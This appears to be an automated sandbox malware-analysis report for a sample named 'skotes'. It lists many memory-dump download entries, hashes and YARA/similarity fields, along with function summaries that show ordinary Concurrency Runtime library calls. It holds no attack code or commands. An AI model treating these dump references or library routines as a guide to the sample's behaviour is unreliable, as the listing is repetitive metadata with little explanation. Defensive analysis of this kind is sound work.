Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: bf599e51d194aa2f4da10128d50c1e896ca2042cf20cd7a87c780b8d9013c437
Instruction ID: becd1a5ff886f1a006e00dc005ab40c26af161d0d5f457695410a133788e2281
Opcode Fuzzy Hash: bf599e51d194aa2f4da10128d50c1e896ca2042cf20cd7a87c780b8d9013c437
Instruction Fuzzy Hash: B121627990061C9FDB05EF64D982ABDB7F4EF05310B2040FAF611AB252DB716D4ACB51

Function 00BFA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00BFA069

Part of subcall function 00BFB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00BFB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00BFA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00BFA0CB

Part of subcall function 00BFAB41: List.LIBCONCRT ref: 00BFAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00BFA0DB

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 01ca89514cc6ad48b013a275a7d57188b2fd9a8fabd91f096f0789772ace8b97
Instruction ID: 79381663a9f7c7b2faf3cbe0ba9f77b4aa5dc1d5bdad77b10c2d25edcbabffd6
Opcode Fuzzy Hash: 01ca89514cc6ad48b013a275a7d57188b2fd9a8fabd91f096f0789772ace8b97
Instruction Fuzzy Hash: B7218C715006189FCB28EF65D9908BBF3F5FF48700700499EE646A7661DB34B909DBA2

Function 00BF4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BF4893
ListArray.LIBCONCRT ref: 00BF48A5

Part of subcall function 00BF5555: _InternalDeleteHelper.LIBCONCRT ref: 00BF5564

ListArray.LIBCONCRT ref: 00BF48AF
_InternalDeleteHelper.LIBCONCRT ref: 00BF48C8

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: bf9d70bf35e3d479848032f4de7b83bab5195893ecadf1464f5d72adca9041f5
Instruction ID: 856f40ec70a7cb548efff46c23aef90a171cdcb766e17dccaf31b85484c87304
Opcode Fuzzy Hash: bf9d70bf35e3d479848032f4de7b83bab5195893ecadf1464f5d72adca9041f5
Instruction Fuzzy Hash: 3401D631600565AFCA25BB65D8C6E7EB7EABF4475070001A9F7045B612DB60EC2987A0

Function 00BFEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BFEE6A
ListArray.LIBCONCRT ref: 00BFEE7C

Part of subcall function 00BFEF29: _InternalDeleteHelper.LIBCONCRT ref: 00BFEF3B

ListArray.LIBCONCRT ref: 00BFEE86
_InternalDeleteHelper.LIBCONCRT ref: 00BFEE9F

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: feee73c32697c1c68bc9a8ab72e18e64f0fec090ee49a0492b3fa6b3f0e131e9
Instruction ID: bca49a4637bc23815e2f88e120f1083fd40f250f728b184884aba06719b01935
Opcode Fuzzy Hash: feee73c32697c1c68bc9a8ab72e18e64f0fec090ee49a0492b3fa6b3f0e131e9
Instruction Fuzzy Hash: 7601F931700525FFDA257B61E8C2D7EBBE9FF4471070000A9F6155B631DB20EC2986D0

Function 00BFD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BFD0C5
ListArray.LIBCONCRT ref: 00BFD0D7

Part of subcall function 00BFC6B2: _InternalDeleteHelper.LIBCONCRT ref: 00BFC6C4

ListArray.LIBCONCRT ref: 00BFD0E1
_InternalDeleteHelper.LIBCONCRT ref: 00BFD0FA

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: c62740cbdede6a2dd2ba16e2894cfcbd091cb11a09e69c3f216d1aca49daf7e5
Instruction ID: 7f2075ff0c6a878ccf401ad051af1c2bf72ec1386d8405dc5b2deac2d1169ec8
Opcode Fuzzy Hash: c62740cbdede6a2dd2ba16e2894cfcbd091cb11a09e69c3f216d1aca49daf7e5
Instruction Fuzzy Hash: 6501F931700529BFCA257B71D9C6D7DBBEAFF4471070004AAF6049B611DF60ECA986D0

Function 00C033C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00C033DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00C033EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00C03407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C0341F

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
